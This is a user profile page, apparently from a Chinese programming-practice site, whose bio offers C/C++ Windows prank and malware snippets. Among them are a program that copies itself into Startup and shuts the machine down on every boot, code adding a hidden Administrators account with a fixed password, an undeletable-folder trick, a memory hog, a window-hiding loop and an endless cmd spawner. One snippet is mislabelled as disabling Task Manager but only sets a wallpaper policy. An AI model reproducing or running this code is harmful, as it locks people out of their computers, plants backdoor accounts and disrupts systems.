• 个人简介

    开机即关机

    提示:操作启动项,可能被杀毒软件拦截

    #include <stdio.h>
    #include <windows.h>
    #include <Shlobj.h>
    #pragma comment(lib, "shell32.lib")
     
    BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
    {
        char szStartupPath[MAX_PATH] = { 0 };
        char szDestFilePath[MAX_PATH] = { 0 };
        SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
        wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
        CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
        return TRUE;
    }
     
    int main(int argc, char * argv[])
    {
        AutoRun_Startup("c://main.exe", "main.exe");
        system("shutdown /p");
        return 0;
    }
    

    添加用户

    提示:可能被杀毒软件拦截

    #include <stdio.h>
    #include <assert.h>
    #include <windows.h> 
    #include <lm.h>
    #pragma comment(lib,"netapi32")
    void AddUser(LPWSTR UserName, LPWSTR Password)
    {
        USER_INFO_1 user;
        user.usri1_name = UserName;
        user.usri1_password = Password;
        user.usri1_priv = USER_PRIV_USER;
        user.usri1_home_dir = NULL;
        user.usri1_comment = NULL;
        user.usri1_flags = UF_SCRIPT;
        user.usri1_script_path = NULL;
        if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
            printf("创建用户完成 \n");
        LOCALGROUP_MEMBERS_INFO_3 account;
        account.lgrmi3_domainandname = user.usri1_name;
        if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
            printf("添加到组完成 \n");
    }
    void EnumUser()
    {
        LPUSER_INFO_0 pBuf = NULL;
        LPUSER_INFO_0 pTmpBuf;
        DWORD dwLevel = 0;
        DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
        DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
        DWORD i;
        NET_API_STATUS nStatus;
        LPTSTR pszServerName = NULL;
     
        do
        {
            nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
                (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
     
            if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
            {
                if ((pTmpBuf = pBuf) != NULL)
                {
                    for (i = 0; (i < dwEntriesRead); i++)
                    {
                        assert(pTmpBuf != NULL);
     
                        if (pTmpBuf == NULL)
                        {
                            break;
                        }
                        wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
                        pTmpBuf++;
                    }
                }
            }
     
            if (pBuf != NULL)
            {
                NetApiBufferFree(pBuf);
                pBuf = NULL;
            }
        } while (nStatus == ERROR_MORE_DATA);
        NetApiBufferFree(pBuf);
    }
     
    int main(int argc, char *argv[])
    {
        AddUser(L"lyshark", L"123123");
        EnumUser();
     
        system("pause");
        return 0;
    }
    

    禁用任务管理器、注册表

    提示:可能被杀毒软件拦截

    #include <stdio.h>
    #include <windows.h> 
    int main()
    {
       DWORD value = 1;
        HKEY hkey;
        RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
        RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
        RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
        return 0;
    }
    

    不可删除文件

    #include <stdio.h>
    #include <shlobj.h>
    #include <windows.h>
     
    BOOL SetImmunity(char *FilePath,char *FileName)
    {
        char file[2048] = { 0 };
     
        strncpy(file, FilePath, strlen(FilePath));
        strcat(file, FileName);
        BOOL bRet = CreateDirectory(file, NULL);
        if (bRet)
        {
            strcat(file, "\\anti...\\");
            bRet = CreateDirectory(file, NULL);
            if (bRet)
            {
                SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
                return TRUE;
            }
        }
        return FALSE;
    }
    void ClearImmunity(char *FilePath, char *FileName)
    {
        char file[2048] = { 0 };
     
        strncpy(file, FilePath, strlen(FilePath));
        strcat(file, FileName);
     
        strcat(file, "\\anti...\\");
        RemoveDirectory(file);
     
        ZeroMemory(file, MAX_PATH);
        strncpy(file, FilePath, strlen(FilePath));
        strcat(file, FileName);
        RemoveDirectory(file);
    }
     
    int main(int argc, char * argv[])
    {
        char *Fuck[4] = { "你", "好", "世", "界" };
        int FuckLen = sizeof(Fuck) / sizeof(int);
     
        TCHAR Destop[MAX_PATH];
        SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);  
     
        for (int x = 0; x < FuckLen; x++)
        {
            SetImmunity("c://", Fuck[x]);
        }
     
        system("pause");
        return 0;
    }
    

    卡死

    警告:Windows高版本可能没有作用

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()
    {
        while(1)malloc(1000);
    }
    

    15秒后关机

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()
    {
        system("shutdown -s -t 15");
    }
    

    使鼠标乱飞

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()
    {
        while(1)
        {
            SetCursorPos(rand()%1000,rand()%1000);
        } 
    }
    

    使鼠标所点应用消失

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()
    {
        while(1)
        {
            HWND hWnd=GetForegroundWindow();
            ShowWindow(hWnd,SW_HIDE);
        } 
    }
    

    无限生成cmd

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    int main()
    {
        while(1)system("start cmd");
    }
    

    桌面壁纸

    #include <stdio.h>
    #include <windows.h> 
    int main()
    {
       DWORD value = 1;
        HKEY hkey;
        RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
        RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
        RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
        return 0;
    }
    
  • 通过的题目

  • 最近活动

    This person is lazy and didn't join any contests or homework.

题目标签

初窥门径
26
循环结构
15
略有小成
9
顺序结构
8
分支结构
7
字符串
6
while循环
3
驾轻就熟
3
二维数组
3
循环嵌套
2
一维数组
1
数论
1